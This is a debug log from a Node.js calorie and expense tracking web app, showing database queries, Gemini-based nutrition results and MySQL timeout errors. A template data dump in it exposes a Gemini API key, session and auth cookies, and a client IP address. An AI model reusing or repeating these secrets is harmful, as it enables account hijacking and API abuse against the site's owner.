    skip_reason: "Provides readily available carbohydrates for energy, which can be useful especially post-workout for quick glycogen replenishment. However, for a desk job, moderating white rice intake is advisable due to its lower fiber content compared to whole grains. While not 'bad,' brown rice or other whole grains offer more sustained energy and nutrients."
  }
]
2025-12-13T14:45:53.109Z server-connect:app Executing action step setvalue
2025-12-13T14:45:53.109Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T14:45:53.109Z server-connect:output var_total: 1396
2025-12-13T14:45:53.109Z server-connect:app Executing action step setvalue
2025-12-13T14:45:53.109Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T14:45:53.109Z server-connect:output var_consumed: 58
2025-12-13T14:45:53.109Z server-connect:app Executing action step setvalue
2025-12-13T14:45:53.109Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T14:45:53.109Z server-connect:output var_deficit: 1004
2025-12-13T14:45:53.109Z server-connect:app Executing action step custom
2025-12-13T14:45:53.109Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T14:45:53.110Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T14:45:53.111Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1396',
    surplus_or_deficit: '1004',
    status_flag: 2
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 14:54:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 14:54:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 15:08:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 15:08:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 15:35:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 15:35:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 16:16:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 16:16:38' as DATETIME)"
}
2025-12-13T17:38:31.257Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T17:38:31.258Z server-connect:app Executing action step identify
2025-12-13T17:38:31.258Z server-connect:app options: { provider: 'security' }
2025-12-13T17:38:31.258Z server-connect:output identity: 1
2025-12-13T17:38:31.258Z server-connect:app Executing action step restrict
2025-12-13T17:38:31.258Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T17:38:31.259Z server-connect:output restrict: undefined
2025-12-13T17:38:31.259Z server-connect:app Executing action step processWithGemini
2025-12-13T17:38:31.259Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T17:38:43.981Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk (Whole)',
      quantity: '1 glass (approx 200ml)',
      total_calories: 122,
      protein: 6.4,
      carbs: 9.4,
      fat: 6.6,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of protein, calcium, and essential nutrients supporting muscle growth and overall health. Whole milk provides more calories and healthy fats, which can be beneficial for muscle development goals.'
    },
    {
      food_name: 'Whey Protein',
      quantity: '1 scoop (approx 30g, providing 27g protein)',
      total_calories: 121,
      protein: 27,
      carbs: 1.5,
      fat: 0.8,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "A fast-acting, high-quality protein source vital for muscle recovery and synthesis, especially beneficial for gym-goers aiming for muscle development. It's an efficient way to meet high protein requirements."
    }
  ],
  total_macros: {
    protein: { value: 33.4, unit: 'g' },
    carbs: { value: 10.9, unit: 'g' },
    fat: { value: 7.4, unit: 'g' },
    total_calories: { value: 243, unit: 'kcal' }
  }
}
2025-12-13T17:39:09.353Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-13T17:39:09.354Z server-connect:app Executing action step identify
2025-12-13T17:39:09.354Z server-connect:app options: { provider: 'security' }
2025-12-13T17:39:09.354Z server-connect:output identity: 1
2025-12-13T17:39:09.354Z server-connect:app Executing action step restrict
2025-12-13T17:39:09.354Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T17:39:09.355Z server-connect:output restrict: undefined
2025-12-13T17:39:09.355Z server-connect:app Executing action step condition
2025-12-13T17:39:09.355Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-13T17:39:09.355Z server-connect:app Executing action step repeat
2025-12-13T17:39:09.355Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-13T17:39:09.355Z server-connect:app Executing action step insert
2025-12-13T17:39:09.355Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T17:39:09.357Z server-connect:output calories: { affected: 1, identity: 383 }
2025-12-13T17:39:09.357Z server-connect:app Executing action step insert
2025-12-13T17:39:09.357Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T17:39:09.358Z server-connect:output calories: { affected: 1, identity: 384 }
2025-12-13T17:39:09.358Z server-connect:output repeat: [ {}, {} ]
2025-12-13T17:39:09.358Z server-connect:output condition: undefined
2025-12-13T17:39:13.345Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T17:39:13.348Z server-connect:app Executing action step identify
2025-12-13T17:39:13.348Z server-connect:app options: { provider: 'security' }
2025-12-13T17:39:13.348Z server-connect:output identity: 1
2025-12-13T17:39:13.348Z server-connect:app Executing action step restrict
2025-12-13T17:39:13.349Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T17:39:13.354Z server-connect:output restrict: undefined
2025-12-13T17:39:13.354Z server-connect:router Render template layouts/main
2025-12-13T17:39:13.355Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T17:39:16.297Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-13T17:39:16.297Z server-connect:app Executing action step identify
2025-12-13T17:39:16.298Z server-connect:app options: { provider: 'security' }
2025-12-13T17:39:16.298Z server-connect:output identity: 1
2025-12-13T17:39:16.298Z server-connect:app Executing action step restrict
2025-12-13T17:39:16.298Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T17:39:16.298Z server-connect:output restrict: undefined
2025-12-13T17:39:16.298Z server-connect:app Executing action step condition
2025-12-13T17:39:16.298Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-13T17:39:16.298Z server-connect:app Executing action step repeat
2025-12-13T17:39:16.299Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
